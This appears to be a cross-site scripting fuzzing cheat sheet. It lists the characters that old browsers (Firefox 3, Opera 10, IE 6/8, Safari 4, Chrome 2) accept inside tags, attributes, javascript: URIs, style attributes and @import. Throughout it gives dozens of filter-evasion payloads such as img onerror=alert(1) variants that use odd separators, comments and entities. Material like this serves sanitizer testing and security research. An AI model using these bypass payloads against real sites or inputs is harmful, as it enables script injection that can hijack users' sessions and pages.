html parsing -xss

<img src=x onerror=%character%alert(1)>

Firefox 3.0.8:
8,9,10,11,12,13,32,34,59,160,8192,8193,8194,8195,8196,8197,8198,8199,
8200,8201,8202,8203,8232,8233,12288,65279,65534

Opera 10.01:
9,10,11,12,13,32,59,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,
8200,8201,8202,8203,8232,8233,8239,12288,65279

Internet Explorer 6.0.2900.2180,
Internet Explorer 8.0.6001.18702:
0,9,10,11,12,13,32,58,59,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,
8200,8201,8202,8203,8232,8233,8239,12288,65279

Safari 4 528.16:
9,10,11,12,13,32,34,39,47

Example: <img src="x onerror\ufffe=alert(1)>

Characters separating unquoted attributes

<img src=x%character%onerror=alert(1)>

Firefox 3.0.8:
9,10,13,32

Opera 10.01:
9,10,12,13,32

Internet Explorer 6.0.2900.2180,
Internet Explorer 8.0.6001.18702:
9,10,12,13,32

Safari 4 528.16:
9,10,11,12,13,32

Example: <img src=x\vonerror=alert(1)>


Characters separating double-quoted attributes

<img src="x"%character%onerror="alert(1)">

Firefox 3.0.8:
9,10,13,32

Opera 10.01:
9,10,12,13,32,34,39,47

Internet Explorer 6.0.2900.2180,
Internet Explorer 8.0.6001.18702:
0,9,10,11,12,13,32,47

Safari 4 528.16:
9,10,11,12,13,32,34,39,47

Example: <img src="x"'onerror=alert(1)>


Characters inside JS function names

<img src=x onerror=ale%character%rt(1)>

Chrome 2.0.172.8,
Safari 4 528.16,
Internet Explorer 6.0.2900.2180,
Internet Explorer 8.0.6001.18702:
0

Example: <img src=x onerror=ale\0rt(1)>


Comments inside tags
XML Comments
Firefox 3.0.8:
<img src=x onerror=alert(1)<!---->>

Firefox 3.0.8,
Opera 10.01,
Internet Explorer 8.0.6001.18702:
<img src=<!-- onerror=alert(1)-->
<img src=<!-- onerror=alert(1)>

C style Comments
Firefox 3.0.8,
Internet Explorer 8.0.6001.18702:
<img/**/src=x onerror=alert(1)>
<img src=x/**/ onerror=alert(1)>
<img src=x /**/onerror=alert(1)>
<img src="x"/**/onerror=alert(1)>

Internet Explorer 8.0.6001.18702:
<img src=``/**/onerror=alert(1)>

Opera 10.01:
<img src=x/**/ onerror=alert(1)>



Entities inside attributes

Supported by:

Firefox 3.0.8,
Opera 10.01,
Internet Explorer 6.0.2900.2180,
Internet Explorer 8.0.6001.18702:

<img src="x" onerror="var foo = 'bar';alert(1)//'">
<img src="x" onerror="var foo = 'bar';alert(1)//'">
<img src="x" onerror="var foo = 'bar&#x27 alert(1)//'">
<img src="x" onerror="var foo = 'bar&#x27&#x0Ag=alert(1)//'">
<img src=""onerror=a='b&#x27&#x0Ag=alert(1)//'>


JavaScript URIs - character before the protocol part
<a href="%character%javascript:alert(1)" href="foo">bar</a>

FF3.5.5
8,9,10,13,32

Chrome 2
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,
20,21,22,23,24,25,26,27,28,29,30,31,32

Opera 10.01
9,10,11,12,13,32,160,8192,8193,8194,8195,8196,8197,8198,
8199,8200,8201,8202,8232,8233,8239,8287,12288



JavaScript URIs - character after the protocol name
<a href="javascript%character%:alert(1)" href="foo">bar</a>

FF3.5.5
8,9,10,13,32

Chrome 2
0,1,2,3,4,5,6,7,8,9,10,11,12,13


Opera 10.01
9,10,13


Style attributes - character before the property name
<p style="%character%color:red">foo</p>

FF3.5.5
8,9,10,12,13,32,59,123

Chrome 2
9,10,12,13,32,59

Opera 10.01
9,10,11,12,13,32,59,123,160,5760,6158,6159,
8192,8193,8194,8195,8196,8197,8198,8199,
8200,8201,8202,8232,8233,8239,8287,12288




Style attributes - character before the property value
<p style="color:%character%red">foo</p>

FF3.5.5:
9,10,12,13,32

Chrome 2:
9,10,12,13,32

Opera 10.01:
9,10,11,12,13,32,59,123,160,5760,6158,6159,
8192,8193,8194,8195,8196,8197,8198,8199,
8200,8201,8202,8232,8233,8239,8287,12288



Style attributes - character after the property name
<p style="color%character%:red">foo</p>

FF3.5.5
9,10,12,13,32

Chrome 2
9,10,12,13,32

Opera 10.01
9,10,11,12,13,32




Style attributes - character after the property value
<p style="color:red%character%">foo</p>

FF3.5.5
8,9,10,12,13,32,34,59

Chrome 2
9,10,12,13,32,34,59,123,125

Opera 10.01
9,10,12,13,32,34,59,125


@import - character between @ and import
<style>@%character%import 'foo.css'</style>


Chrome 2:
0

Internet Explorer 8.0.6001.18702:
0


@import - character between @import and quoted filename
<style>@import%character%'foo.css'</style>

FF3.5.5:
9,10,12,13,32

Chrome 2:
0,9,10,12,13,32

Opera 10.01:
9,10,12,13

Internet Explorer 8.0.6001.18702:
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ... 59
Almost the whole ASCII range from 0-60 has the parser stumble
and produce unusable output


Miscellaneous
Firefox 3.5.5:
<img src"=" onerror=alert(1)>
<img src'=' onerror=alert(1)>
<img src=< onerror=alert(1)
<img src=< onerror=alert(1)<1
<img src="http://www.foo.com/ onerror=alert(1)//
<img src='http://www.foo.com/ onerror=alert(1)//
<img src"foo"bar'http://onerror=alert(1)>
</p<img src=x onerror=alert(1)>>

Firefox 3.5.5,
Chrome 2,
Opera 10.01:
<img src=http://www.foo.com/ onerror=alert(1)//>
<img src=" "="" onerror=alert(1)//">
<a href=" javascript:alert(1)">foo</a>

Firefox 3.5.5,
Opera 10.01,
Internet Explorer 8.0.6001.18702:
<img src== onerror=alert(1)>
<img src== /**/onerror=alert(1)>
<img src=< onerror=alert(1)>
<img src=< onerror=alert(1)\n<>
<img src="foo\\\\\\\\\\\"onerror=alert(1)//" />